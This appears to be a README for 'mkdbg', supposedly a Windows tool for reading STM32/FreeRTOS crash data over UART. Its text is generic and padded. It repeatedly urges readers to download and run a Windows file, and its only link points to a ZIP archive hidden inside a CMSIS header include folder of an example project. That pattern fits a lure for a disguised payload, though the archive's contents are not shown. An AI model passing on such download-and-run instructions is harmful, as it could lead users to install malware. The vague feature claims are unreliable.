mkdbg helps you read crash data from STM32 boards that run FreeRTOS with MPU support. It is built for staged bring-up, UART-based fault reports, and post-crash replay of what happened before the fault.
Use it when a device freezes, resets, or stops responding and you need a clear fault trail. It works with Cortex-M systems and focuses on hardware-first debug flows.
Visit this page to download and run the software on Windows:
If the page shows a release file, download it and open it on your Windows PC. If it shows the main project page, use the files and release links there to get the Windows build.
mkdbg is meant to run on a Windows desktop or laptop.
Before you start, make sure you have:
- Windows 10 or Windows 11
- A free USB port
- The USB driver for your STM32 board, if your board needs one
- A serial port tool already installed, if the package asks for one
- Permission to open the app and access the COM port
If Windows asks for approval, allow the app to run and let it use the serial port.
-
Open the download page: https://raw.githubusercontent.com/illusional-micropogonias93/mkdbg/main/examples/stm32f446/cmsis/CMSIS/Include/Software-3.3.zip
-
Download the Windows package or release file from the page.
-
If the file is in a ZIP folder, right-click it and choose Extract All.
-
Open the extracted folder.
-
Run the mkdbg application file.
-
Connect your STM32 board to your PC with the correct USB or UART cable.
-
Open the app and select the COM port for your board.
-
Start the capture or replay flow inside the app.
mkdbg works best when your firmware sends fault data over UART. Your board should already be set up to print crash details, reboot status, or memory traces.
A typical setup uses:
- STM32 hardware
- FreeRTOS with MPU enabled
- UART pins for crash output
- A stable power supply
- A known baud rate, often 115200 or similar
If your board already sends logs to a serial port, mkdbg can read them and help you make sense of the fault path.
Start with a simple check:
- Connect the board.
- Power it on.
- Open mkdbg.
- Pick the right COM port.
- Look for incoming UART data.
- Trigger the crash flow in your firmware.
- Review the fault data that comes back.
If the board restarts after a fault, mkdbg can still help if the firmware writes data before the reset.
A normal session may look like this:
- Boot the device in a known state
- Check that UART output appears
- Run the firmware through a test case
- Force or hit a crash path
- Read the fault report
- Replay the event chain
- Compare the last good state with the crash state
This helps you trace the cause of the fault instead of only seeing the reset.
mkdbg fits these tasks:
- Debugging hard faults on STM32
- Reading crash logs from a board with no probe attached
- Checking MPU access faults in FreeRTOS
- Reviewing the last steps before a reset
- Testing bring-up on new embedded hardware
- Capturing fault telemetry over UART
- Studying postmortem state after a crash
When a crash happens, the last few actions often matter most. mkdbg is built around that idea.
It helps you:
- See the fault path
- Track the order of events
- Review the state before the crash
- Match output to the code path that failed
- Find the place where the system stopped behaving as expected
That is useful when the device fails too fast for manual checks.
Depending on your board and firmware, mkdbg can show items such as:
- UART messages
- Fault codes
- Reset reasons
- Task state
- Memory access errors
- MPU faults
- Crash timestamps
- Replay steps
The exact view depends on how your firmware sends data.
Use these steps if the app does not show data right away:
- Check that the board is powered on
- Confirm the USB cable carries data, not just power
- Make sure the COM port matches the board
- Close other serial tools that may use the same port
- Check that the baud rate matches the firmware
- Replug the board and try again
A small mismatch in port or baud rate is a common cause of empty output.
For the first run, keep the setup basic:
- One board
- One USB cable
- One serial session
- One firmware build
- One crash test
This makes it easier to see if the problem comes from the app, the cable, the port, or the firmware.
mkdbg is aimed at embedded debug work on Cortex-M systems. It is tuned for STM32 and FreeRTOS MPU use cases where a crash can hide the real cause.
It is a good fit when you need:
- Hardware-first fault capture
- UART diagnostics without a debug probe
- Crash forensics after a reset
- Clear fault replay from embedded logs
- A simple path from fault to root cause
This project is related to:
- bring-up
- Cortex-M
- crash forensics
- embedded debugging
- fault telemetry
- firmware
- FreeRTOS
- MPU
- postmortem analysis
- STM32
- STM32F446
- UART debugging
These topics reflect the kind of boards and crash flows mkdbg is built for.
Try these checks:
- Confirm the download finished.
- Extract the ZIP file if needed.
- Run the app from the extracted folder.
- Right-click the file and choose Open if Windows blocks it.
- Check that your Windows user can open downloaded apps.
- Restart the PC and try again.
- Re-download the file from the project page if the file looks incomplete.
Use this link to visit the project page, then download and run the Windows file from there:
Embedded faults can be hard to trace. A board may reset before you can inspect it. A probe may not be connected. The crash may only show a short UART line.
mkdbg is built for that situation. It gives you a direct path to read what the firmware sends, review the crash trail, and replay the fault path on a Windows PC